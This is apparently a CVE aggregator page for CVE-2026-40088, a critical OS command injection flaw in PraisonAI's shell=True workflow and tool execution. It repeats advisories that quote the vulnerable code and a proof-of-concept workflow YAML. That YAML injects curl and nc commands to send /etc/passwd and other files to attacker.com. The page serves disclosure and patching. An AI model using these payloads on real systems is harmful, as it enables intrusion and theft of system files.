Every CVE Search/ Get API key

CVE-2026-40088

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

9.7 CriticalFix available

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.43%Up 0.4 points since Apr 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.7

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

Record
CVE-2026-40088
CVSS 3.1
9.7 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2026-21064 9.7

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

Record
EUVD-2026-21064
CVSS 3.1
9.7 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-2763-cj5r-c79m 9.6

PraisonAI Vulnerable to OS Command Injection

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.


Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

  1. YAML workflow step definitions
  2. Agent configuration files (agents.yaml)
  3. LLM-generated tool call parameters
  4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.


Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.


PoC 2: Agent Configuration Injection

**Malicious…

Record
GHSA-2763-cj5r-c79m
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 9.6

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

Record
CVE-2026-40088
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSV 9.6

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

Record
CVE-2026-40088
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-2763-cj5r-c79m 9.6

PraisonAI Vulnerable to OS Command Injection

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.


Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

  1. YAML workflow step definitions
  2. Agent configuration files (agents.yaml)
  3. LLM-generated tool call parameters
  4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.


Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.


PoC 2: Agent Configuration Injection

**Malicious…

Record
GHSA-2763-cj5r-c79m
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVPYSEC-2026-461 9.6

PraisonAI Vulnerable to OS Command Injection

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.


Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

  1. YAML workflow step definitions
  2. Agent configuration files (agents.yaml)
  3. LLM-generated tool call parameters
  4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.


Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
 def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
 elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
 framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.


PoC 2: Agent Configuration Injection

…

Record
PYSEC-2026-461
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonai
PyPI
before 4.5.121
4.5.121
praisonai
PyPI
before 4.5.121, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 45 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55
4.5.121

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40088 is a critical vulnerability (CVSS 9.7) in Mervinpraison Praisonai, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in praisonai 4.5.121.

References

This page doesn't list everything

Left out here: 628 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open